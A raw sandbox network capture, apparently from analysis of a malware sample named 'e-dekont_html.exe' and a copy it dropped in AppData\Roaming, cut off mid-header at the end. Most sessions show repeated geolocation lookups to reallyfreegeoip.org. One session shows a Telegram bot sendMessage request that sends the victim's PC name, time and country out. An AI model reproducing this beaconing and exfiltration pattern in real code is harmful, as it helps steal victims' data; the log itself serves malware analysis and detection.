Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	188.114.96.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:20 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:20 UTC	850	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:20 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49449 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lnMjZNSt%2Ba6642VMqyW7qbDBr7PnJVpHMhbi40wfBPaihzIEh1oXC1eHELbk%2BcxjaMDCFA9UyTja1hddZCkwpccudaI45rTYaxnklIupx4Xfwf0wQ%2FST1FE0myBC09x4L8HlBsLs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5684448de28c05-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2036&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1409946&cwnd=211&unsent_bytes=0&cid=c74a4f1801bd1ad0&ts=139&x=0"
2024-11-20 06:52:20 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49750	188.114.96.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:21 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:21 UTC	849	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:21 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49450 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MvpxVCfQlsQBXs3X4qVWOjGmXyjDwM3bIt56g3%2F5VJ40Q%2Fpyn0vgC5Zn6JFiCEmLZwpF2r0FBzIFIkaqwqrj7U3XL2jMCfCQCxFy2Sk9JkKd51saXYQ5CfWeaEdONZk2hyIOLXmu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5684489affc343-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=10058&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1724748&cwnd=208&unsent_bytes=0&cid=41dbd44e6110845d&ts=194&x=0"
2024-11-20 06:52:21 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	188.114.96.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:21 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:21 UTC	852	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:21 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49450 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XJgt44fn9YXpQTFeCKYFr7iHFzkyBot1O%2Bygua57%2BNXjrXHRjGCBGheiZ8%2FObzGPokxg0NBCXaQi%2BJsBqq5s8HcFY0hIsdtN1d4sb8tP3Qkf5NCXk6RNMiE84Hc31ffu9qht4xom"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56844c5ada5e66-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1562&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1855146&cwnd=174&unsent_bytes=0&cid=7db87799810e647f&ts=159&x=0"
2024-11-20 06:52:21 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49759	188.114.96.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:23 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:23 UTC	860	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:23 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49452 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ih4bTY75ujwQ%2Fp%2Fc2HsPfEU2oAVyUVuO40H2OiyjEuEQNYLLMc0ffDjbPZox%2Bp1aP5zywAz%2B4yZHrgpro4fj3xk7%2FBIubRLmmv%2BKS8OWJPRXBgvEj6f6QdZaQnn%2FADdNbnMbC%2FpN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e568458392fc335-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1664766&cwnd=163&unsent_bytes=0&cid=8f2e053503bfdef4&ts=147&x=0"
2024-11-20 06:52:23 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49760	188.114.96.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:23 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:24 UTC	860	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:23 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49452 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FW3l7X0%2B0Y2ed3wKKFDfSeCoIjfn9sgyVoQ%2BKRNO29ddCJvubH0bu4Z3Xv4Ba8ulWpodiEB7mp70Qg4ulr7%2Fo%2BQZ8wlbfb8X9KyrfIWDrHluYq%2BmwLWL%2Fq0cXVmYifed%2FflvU228"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e568459cfbe726e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1837&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1597374&cwnd=217&unsent_bytes=0&cid=87292c60bf089f32&ts=160&x=0"
2024-11-20 06:52:24 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49765	188.114.96.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:26 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:26 UTC	858	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:26 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49455 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TQIMMFRdFEWMor4585O%2BllXA2a2ulZPE8h9sOty0rTSLIbQ6tI50SEOVYMyNoJdL%2FR%2F1AlqFejMR%2FGMlUWBIHLeXvMV29LHeyW1DPFtmKb%2FiKNXZfepXd%2FRxfUZ5ARjKRqAc47S%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5684671ae815d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1594&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1792510&cwnd=225&unsent_bytes=0&cid=56bf3b6112d8ab0e&ts=137&x=0"
2024-11-20 06:52:26 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	61280	188.114.96.3	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:26 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:26 UTC	850	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:26 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49455 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hKlHiy3nvCs7kJHZ1eyDlrhDapP8HpIdBUasjHKtKkFEQ%2F4fTpZ04UuZTUz3qNTkLLsdr36LcDRRBjCGSP9uUXsR%2FRF5YSx0lcc0CKtzamje7mSook2S%2FEwXzYxEkMK4hcs87HWE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5684685a1143f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1538&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1825000&cwnd=186&unsent_bytes=0&cid=f005cf963368936d&ts=157&x=0"
2024-11-20 06:52:26 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	61282	149.154.167.220	443	7308	C:\Users\user\Desktop\e-dekont_html.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:27 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:528110%0D%0ADate%20and%20Time:%2020/11/2024%20/%2016:24:40%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20528110%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-11-20 06:52:27 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Nov 2024 06:52:27 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-20 06:52:27 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	61283	188.114.96.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:27 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-20 06:52:27 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:27 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49456 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=asVqlQbAXwFi7Annt5%2FIt7y8oH8RV%2BHp9%2BrkBbv1AJx8pXwSY2TB%2B4z8NLL2467SJK1VuT19juMkdRTHuAElBWvT%2B8kvVmDWP38CnFmjOcXZWVjjfVTCYyf7SaISy6xXjyYoVPkc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e5684700d128c8a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2009&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1461461&cwnd=247&unsent_bytes=0&cid=bc4ebf3307c71e9e&ts=157&x=0"
2024-11-20 06:52:27 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	61285	188.114.96.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:29 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:29 UTC	852	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:29 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49458 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QFIbALN%2BRX8eCytwoQtsteFiR1mvMPAldWmAJCUvnxAJZlZLiB3heP1aBLMtpBRXiOY9C0l3At3MBQKr%2FDLlqzcuIHhF5%2FijfLCHNZxUilUBD5VmprxJCelaqeXBg3zAFuk8%2Fsiu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56847dbff24399-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2350&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1145996&cwnd=238&unsent_bytes=0&cid=aac13ba7e933901f&ts=151&x=0"
2024-11-20 06:52:29 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	61287	188.114.96.3	443	7696	C:\Users\user\AppData\Roaming\fahKSvwo.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:52:30 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-20 06:52:31 UTC	847	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:52:31 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 49460 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EAmUmLbKs2MIXClBD0V1PoSZ13pNlqmc1rOI4nrH2rkZ1WqK2XgL6Jh93fclylOvtpFrcJQSlhVHtht5ka19dfp%2FURbwmgq3PoHfgUEici07qKcrYVmF13aRe2%2F1PSw6c8gsbC3v"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e568485d9717292-EWR alt-svc: h3=":443"; ma=86400 server-timing: 